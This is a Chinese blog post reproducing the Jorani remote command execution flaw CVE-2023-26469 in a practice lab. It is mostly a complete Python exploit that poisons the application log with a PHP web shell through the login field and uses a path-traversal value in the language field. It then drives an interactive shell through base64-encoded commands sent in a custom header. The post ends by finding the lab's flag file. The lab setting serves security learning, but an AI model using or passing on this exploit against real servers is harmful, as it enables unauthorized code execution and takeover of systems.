首页 > 其他分享 >Jorani远程命令执行漏洞 CVE-2023-26469靶场复现

Jorani远程命令执行漏洞 CVE-2023-26469靶场复现

时间:2024-08-05 16:10:17浏览次数:9  
标签:26469 log x1b cmd 2023 print import CVE name

image

靶场界面
image

点击查看exp↓↓↓
"""
vulnerability covered by CVE-2023-26469
"""
import readline
import requests
import datetime
import sys
import re
import base64
import random
import string

requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

msg = lambda x,y="\n":print(f'\x1b[92m[+]\x1b[0m {x}', end=y)
err = lambda x,y="\n":print(f'\x1b[91m[x]\x1b[0m {x}', end=y)
log = lambda x,y="\n":print(f'\x1b[93m[?]\x1b[0m {x}', end=y)

CSRF_PATTERN = re.compile('<input type="hidden" name="csrf_test_jorani" value="(.*?)"')
CMD_PATTERN = re.compile('---------(.*?)---------', re.S)

URLS = {
	'login' : '/session/login',
	'view'	: '/pages/view/',
}

alphabet = string.ascii_uppercase
HEADER_NAME = ''.join(random.choice(alphabet) for i in range(12))

BypassRedirect = {
	'X-REQUESTED-WITH'	: 'XMLHttpRequest',
	HEADER_NAME		: ""
}

INPUT = "\x1b[92mjrjgjk\x1b[0m@\x1b[41mjorani\x1b[0m(PSEUDO-TERM)\n$ " # The input used for the pseudo term

u = lambda x,y: x + URLS[y]

POISON_PAYLOAD		= "<?php if(isset($_SERVER['HTTP_" + HEADER_NAME + "'])){system(base64_decode($_SERVER['HTTP_" + HEADER_NAME + "']));} ?>"
PATH_TRAV_PAYLOAD	= "../../application/logs"

if __name__ == '__main__':
	print("""
	/!\\ Do not use this if you are not authorized to /!\\
		""")
	log("POC made by @jrjgjk (Guilhem RIOUX)", "\n\n")

	if(len(sys.argv) == 1):
		err(f"Usage: {sys.argv[0]} <url>")
		exit(0)

	log(f"Header used for exploit: {HEADER_NAME}")	
 

	t = sys.argv[1]

	s = requests.Session()
	log("Requesting session cookie")
	res = s.get(u(t,"login"), verify = False)

	C = s.cookies.get_dict()

	Date = datetime.date.today()
	log_file_name = f"log-{Date.year}-{str(Date.month).zfill(2)}-{str(Date.day).zfill(2)}"

	csrf_token = re.findall(CSRF_PATTERN, res.text)[0] 
	log(f"Poisonning log file with payload: '{POISON_PAYLOAD}'")
	log(f"Set path traversal to '{PATH_TRAV_PAYLOAD}'")
	msg(f"Recoveredd CSRF Token: {csrf_token}")

	data = {
		"csrf_test_jorani"	: csrf_token,
		"last_page"			: "session/login",
		"language"			: PATH_TRAV_PAYLOAD,
		"login"				: POISON_PAYLOAD,
		"CipheredValue"		: "DummyPassword"
	}

	s.post(u(t,"login"), data=data)

	log(f"Accessing log file: {log_file_name}")

	exp_page = t + URLS['view'] + log_file_name

	### Shell
	cmd = ""
	while True:
		cmd = input(INPUT)
		if(cmd in ['x', 'exit', 'quit']):
			break
		elif(cmd == ""):
			continue
		else:
			BypassRedirect[HEADER_NAME] = base64.b64encode(b"echo ---------;" + cmd.encode() + b" 2>&1;echo ---------;")
			res = s.get(exp_page, headers=BypassRedirect)
			cmdRes = re.findall(CMD_PATTERN, res.text)
			try:
				print(cmdRes[0])
			except:
				print(res.text)
				err("Wow, there was a problem, are you sure of the URL ??")
				err('exiting..')
				exit(0)

windows环境似乎不支持这个库,改用linux环境
image

成功弹出shell,普通用户权限
image

使用find / -name flag命令搜索到/flag
image

参考:
Jorani远程命令执行漏洞 CVE-2023-26469 - 知乎

标签:26469,log,x1b,cmd,2023,print,import,CVE,name
From: https://www.cnblogs.com/jasy/p/18343394

相关文章

  • 【漏洞复现】LiveBOS UploadFile.do 任意文件上传漏洞(XVE-2023-21708)
    0x01产品简介LiveBOS(LiveBusinessObjectSystem)是顶点软件自主研发的以业务对象建模为核心的业务中间件及其集成开发工具,它通过业务模型建立直接完成软件开发的创新模式,支持各类基于WEB的专业应用软件与行业大型应用的开发。LiveBOS系统由三个相对独立的产品构成:运行支......
  • 2023 福建省第三届工业互联网创新大赛CTF Misc-Covertchannel2
    题目:近日,公司Windows服务器被入侵,黑客使用了一个比较隐蔽的信道将机密凭据传输了出去,但是蛛丝马迹还是被流量采集设备捕获了,你能从中找回丢失的flag吗?分析:分析该流量包发现了有一个rsa.key,并且在数据包长度为126和119中发现了,secrets.txt和data.zip,接下来就是写脚本提......
  • U盘版:RadiAnt DICOM 查看器 CD/DVD 2023.1 Crack
    RadiAntDICOM查看器CD/DVD2023.1建于2023年3月29日CD/DVD自动运行包新功能:长度比计算。椭圆体/子弹体积计算。改进和错误修复:增加了对某些不完全符合标准的DICOM文件的支持。增加了对一些不常见的JPEG2000编码DICOM图像的支持。RadiAntDICOMView......
  • 【2023年】云计算金砖牛刀小试2
    A场次题目:Openstack平台部署与运维control172.17.31.10compute172.17.31.20compute任务1私有云平台环境初始化1.初始化操作系统使用提供的用户名密码,登录竞赛云平台。根据表1中的IP地址规划,设置各服务器节点的IP地址,确保网络正常通信,设置控制节点......
  • 塔子哥喜欢字符-小米2023笔试(codefun2000)
    题目链接塔子哥喜欢字符-小米2023笔试(codefun2000)题目内容塔子哥天生偏爱一些字符,对于一个字符串,他总是想把字符串中的字符变成他偏爱的那些字符。如果字符串中某个字符不是他所偏爱的字符,称为非偏爱字符,那么他会将该非偏爱字符替换为字符串中距离该字符最近的一个偏......
  • 谈一谈编程到底应该怎么学?-暨2023年 CSP-J2轮爆零总结
    谈一谈编程到底应该怎么学?-暨2023年CSP-J2轮爆零总结转自https://mp.weixin.qq.com/s/_Fi64pYrZ6tHfKaNDb3xAA今年的信息学奥赛复赛结果已经基本出来了,整个行业讨论最多的就是今年的爆0问题。据说一个省,总共1900多人参加J组复赛,有800个0分。其它各省也都是爆0很多。但是同......
  • CVE-2023-26469 复现
    题目描述:Jorani是一款开源的员工考勤和休假管理系统,适用于中小型企业和全球化组织,它简化了员工工时记录、休假请求和审批流程,并提供了多语言支持以满足不同地区的需求。在Jorani1.0.0中,攻击者可以利用路径遍历来访问文件并在服务器上执行代码。这是一个csrf的洞,找了一下,......
  • CVE-2022-4230 复现
    题目描述:WPStatisticsWordPress插件13.2.9之前的版本不会转义参数,这可能允许经过身份验证的用户执行SQL注入攻击。默认情况下,具有管理选项功能(admin+)的用户可以使用受影响的功能,但是该插件有一个设置允许低权限用户也可以访问它。根据描述,我们直接去查看wp-admin路......
  • 2023.8.3 test
    A有序列\(A\),你可进行若干次操作:选定\(A_i,A_j\),使\(A_i=\gcd(A_i,A_j)\),\(A_j=lcm(A_i,A_j)\)。\(n,A_i\le10^6\)。把每个质因数独立开,发现无论怎么操作,每个数某质因数的次数的集合不变。所以贪心地,从大往小放置\(A_1\simA_n\)。B无向图上,\(n\le20\),你要随机起点走......
  • 塔子哥的最短区间-小米2023笔试(codefun2000)
    题目链接塔子哥的最短区间-小米2023笔试(codefun2000)题目内容塔子哥有一个长度为n的数组a和长度为m的数组b,下标均从1开始。现在,塔子哥想让你找出一个最短的区间l,r,这个区间中数x的数量至少出现了b[x]次。输入描述第一行,两个整数n,m(......